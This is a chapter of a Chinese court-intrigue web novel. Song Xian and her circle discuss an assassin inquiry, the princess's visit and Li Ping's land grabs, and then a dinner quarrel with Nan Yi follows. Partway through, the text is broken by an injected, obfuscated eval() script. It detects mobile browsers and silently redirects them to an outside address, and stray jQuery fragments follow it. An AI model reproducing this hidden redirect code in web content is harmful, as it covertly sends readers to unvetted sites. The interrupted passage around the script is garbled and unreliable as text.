默认冷灰
24号文字
方正启体

55. 倚霞妆

作者:嘉客本书字数:K更新时间:
    “他若肯为我奔赴京城,我必不相负。若他不愿,那我祝他事事顺遂,岁岁平安。”姜早儿默然良久,方才轻声道出这一句。


    “北留城的那几个铺子,他经营的很好。”宋纤道。


    姜早儿眼眶倏忽红了,“东主已问过他了,他不愿,对么?”


    宋纤无声一笑。


    “他说会在北留城等你。”宋纤道:“你若是回去,仍是北留城的掌计,我在一日,便保你一日顺遂。”


    “我不回去,我要与您共进退。”姜早儿坚定道,“我自知眼下本事尚浅,帮不上大忙,可唯有一点,这颗心,对您绝无二心。”


    “为何?”宋纤问,为何对她忠心,是北留城共患难的情谊?可情谊又何其脆弱。


    姜早儿美目一弯,嫣然道:“我想您长长久久地坐在这个位子上。如此,那些在北留城铺子里讨生活的妇孺,便也能安安稳稳地过下去,这便是我所愿。”


    姜早儿经过楚老板的提点,深知宋纤坐上东主之位不易,要坐稳更是难上加难。


    宋纤眼底漾起笑意,心间疲惫略散。


    说话间,北玄领着南翼进来。


    小叶子不自觉地往姜早儿身后躲去,“温姐姐”,不对,现在要叫东主,东主家像仙境一般,里面的人都仙人一样好看,不过这个人比所有仙人都好看。


    只是这个好看的仙人,看起来不是很开心。


    也不知道何人惹他生气?


    姜早儿也忍不住多看一眼,南翼本就好看极了,今日眼尾红红的,那真是.....太好看了!


    不出意外,姜早儿挨了一计眼刀。


    姜早儿心里喊冤,真不怪她,任谁都会忍不住多看一眼的,要怪只能怪他自己皮囊太惹人。


    “又一夜未睡?”宋纤道,南翼只要一熬夜,眼睛就红得可怜。


    自从当了主计,熬夜便成了常事,眼尾几乎一直红的,日子久了,仿若他天生如此。


    京中贵女纷纷效仿,在眼尾处细细涂上红色的胭脂。


    胭脂铺老板脑子转的快,推出几款名为“海天霞”的湿润红膏,用细毛刷沾着,可细细涂在眼尾。


    国子监祭酒的孙女学富五车,给这个妆容起了一个雅致的名字——倚霞妆。


    “倚”音同“翼'',这倚霞妆因南翼而得名,也因南翼而风靡京华。


    “北玄,往后主计若是熬了一夜,便须吃上一日的药膳;熬两夜,便是两日。你可记好了,一日也不许短。”宋纤道。


    北玄欢快答是。


    南翼蹙眉,通宵达旦处理账务,只是寻常,他从未当回事。


    他不喜药膳,不过既然她说了,也不是不能吃。


    雪松冷香微风般拂过众人鼻尖,一身烟霞云纱的楚月天缓步而来,依旧是京城最盛的牡丹。


    南翼垂眸冷笑,“心思都在装扮上,焉能成事?”


    楚月天挑眉,笑得毫无芥蒂,落座前还特意绕至南翼座前,大大方方展示一番,京城手最巧的妆人画就的“倚霞妆”。


    轻盈落座后,才温声道:“主计嘴若淬了毒般,我却不生气,大家可知为何?”


    众人皆看向楚月天,等她下文。


    “只因我之能力,有目共睹,岂是一句话便可抹杀的。”楚月天巧笑倩兮。


    “这杀人诛心啊,要拿别人的短处说事,切不可拿长处说嘴。”楚月天十分好心提醒道:“就如方才那般可不行,主计大人,谢您夸赞。”


    南翼方要开口,就被一声响亮的“好”打断,姜早儿目光炯炯,满是对楚月天的敬佩,“楚都事说得好!”


    “我不和你们女.......”南翼的目光扫过主位上的宋纤,垂眸敛目,没再言语。


    众人一时都有了“欺负”了人的错觉。


    “西白,开始吧。”宋纤开口,中止了这吵闹欢笑的一幕。


    窗棂和落地长窗次第关闭,外院洒扫服侍之人,也有序撤离,方才还叽叽喳喳的明间一时安静下来。


    宋纤斟酌片刻道:“楚都事,白云山庄之事,大理寺那边可有进展?”


    楚月天幽幽一叹:“毫无头绪,那批杀手像是从石头里蹦出来的,既无亲眷,也无来历,更无人认得。连个名姓都坐实不了,遑论往下追查了。”


    不出意外又换来一声冷笑。


    好像在说,谁方才大言不惭,是能成事之人。


    楚月天并不着急,徐徐开口道:“也并非全无所获,在一个杀手袖口内袋里找到一只祖母绿的耳饰,耳饰内侧暗处端刻着一个小巧的‘问’字。”


    宋纤沉吟道,“只有一只,那便不是要送人,送人应是一对,多半是捡的,以‘问’为名的女子并不多?”


    “李凭的幼女名唤李问。”楚月天接口道,京城贵女,她无有不知。


    “如此说来,也不过是那刺客见过李问一面,又凑巧捡了她丢的一只耳坠子罢了,这有何用?”西白道,“更何况,此事与冯观,却也牵扯不上。”


    “和李凭有牵扯,确实不算全无所获。”宋纤道,如此便有由头指向李凭。


    “李凭?”楚月天和南翼同时开口。


    宋纤并未多说,只是道:“我和李凭有仇。”


    几人并未多问。


    “我会想法子,让大理寺加急查办。”楚月天道。


    “无妨,此事不急在一时,只消让大理寺莫要结案,暂且悬着,静待时机便好。”宋纤语声从容,“所费银钱,你径去寻南翼,皆从我的私库出。”


    “这个好办。”楚月天道。


    “长公主十日后到京城,到时你去见长公主府的谢司薄,托她传个话,长公主有用到南家的地方,我必竭尽所能。”宋纤看着姜早儿道,“还有,我想面见长公主。”


    楚月天面色微凝,上月末,长公主自小养在皇宫的长子溺毙于行宫的春明湖。


    长公主此番进京,绝非寻常归省的和风细雨,势必要掀起风浪的。


    事涉皇族,被裹挟进去,变数太多,根本无法预设,天家无情,稍不留神,便是死无葬身之地。


    这种事躲得越远越好,何故去凑热闹?


    “我有分寸。”宋纤看出楚月天有疑,京城的事,都逃不过楚月天的耳目,长公主进京为儿子讨公道,不算隐秘之事。


    她此前便听楚月天说过,长公主之子与李凭的儿子李鹫有些仇怨。


    她需一个能在皇帝跟前说得上话的人,而长公主,恰是眼下最好的选择。


    “冯观呢?若是大理寺找不到证据,当真就此放过他?”南翼问。


    “让他再活几日。”宋纤声音平平,不见一丝情绪。


    “倒是便宜他了。”


    “不过,他亦点醒我一事。”宋纤道,“冯观在邓州千方百计夺取农户田地,概因朝廷田赋三十税一,而租户租种大户之地,却要上交五成、乃至七成的收成。”


    李凭不是低调简朴之人,李府子弟亦多奢华,整个李府花钱如流水,银钱从何而来?


    “田亩之利太厚。”南翼道,“豪强侵田、农户失地,这等事在各州都算不得新鲜。”


    “各州县都有登记土地归属的鱼鳞册,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453306|194332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们敢占那么多地,就不怕官府追究?”姜早儿道。


    “鱼鳞册上的土地数目是真的,户主就不一定了。”南翼冷道:“至于官府,吃的用的都是大户出的,自是睁一只眼闭一只眼。”


    “着几个信得过的人去李凭的老家并州,探听一下李凭在当地口碑如何?”宋纤道对南翼道,“并州如水,说得便是并州的刀具锋利如水,以采买后厨刀具的名义去。”


    南翼颌首。


    “实则打听李凭在并州的田地亩数?”南翼说完,望了眼姜早儿和小叶子,似是不满东主让她俩参与此等隐秘之事。


    “我能否去并州?”姜早儿虽没听过李凭之名,不过她在邓州这些时日,学到不少,办事已有些章法。


    南翼愈加不满地看了姜早儿一眼,好像在说,是你能插话的?


    姜早儿只觉气血翻涌,为何有人能这么讨厌?白瞎了那么好看一张脸!


    “并州之事,只是稍做打探,并不难办,无须你去。”宋纤对姜早儿道。


    “好。”姜早儿登时满口应下。


    南翼脸色好一些,这个尚有一点可取,那便是,听东主的话。


    “咕咕。”小叶子忙不迭弯腰遮住肚子,脸埋得低低的,生怕它再响。


    宋纤展颜笑道,“说了这许久,让人传饭吧,就摆在霜明轩。”


    片刻后,一道道佳肴流水般在长案上铺陈开来,看得小叶子一愣一愣的,一桌子菜别说吃过,就是见也未见过。


    “你们先吃,我回趟书房。”宋纤吃了几口,便起身道。


    西白也跟着起身,宋纤摆手示意她坐下,“你们热闹些,我自己过去就行,自家院子有什么不放心的。”


    言毕,宋纤朝外面走去。


    被抛下的众人,一时无话,不知在想些什么。


    “见色忘义罢了。”楚月天笑着出声打破沉寂,“休要大惊小怪,我们吃我们的。”


    姜早儿去捂小叶子的耳朵,余光扫见南翼捏着银箸的手顿了顿,关节泛白。


    “你为何与我们一起用饭?”姜早儿看着满桌唯一的男子。


    楚月天倏地来了兴趣,这外地人说话就是直接了当,久居京城之人都在弯弯绕绕里。


    南翼本就心绪不佳,这下要气狠了。


    南翼修长的手猛地拍在桌案上,吓得小叶子瞬间放下银箸,惶恐地站起来,不知自己犯了什么错。


    姜早儿把小叶子揽在怀里,不满地瞪过去,“吓着小孩了!”


    南翼脸色极其难看,冷冷地看了姜早儿一眼,拂袖而去。


    姜早儿无辜地去看楚月天,“说错了?我就问一句,怎么像踩了他的尾巴。”


    “你没说错话。”楚月天笑道,“只是,在京城,要是和南翼一同用膳有价的话,必定万金难求。”


    “啊?”姜早儿顿时觉得亏大了。


    南翼大步追上刚走到月亮门处的宋纤。


    “如何出来了,药膳还未上?”宋纤有些惊讶道。


    你是故意的?”南翼面色一沉,“待到开席才走,便是存心要将我留在席间。”


    “我并无此意。”宋纤道。


    她应下要陪萧明用膳,只是当着众人的面,一时不知如何开口,一晃便到了开席。


    看南翼的神情,许是误会她刻意将他留在女眷席上。


    是疑她有做媒之心?


    不过,细想之下,倒也不失为一个时机。


    “我并非故意,你却觉得难堪?”宋纤募地道。


    南翼只觉耳边轰轰作响.......
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)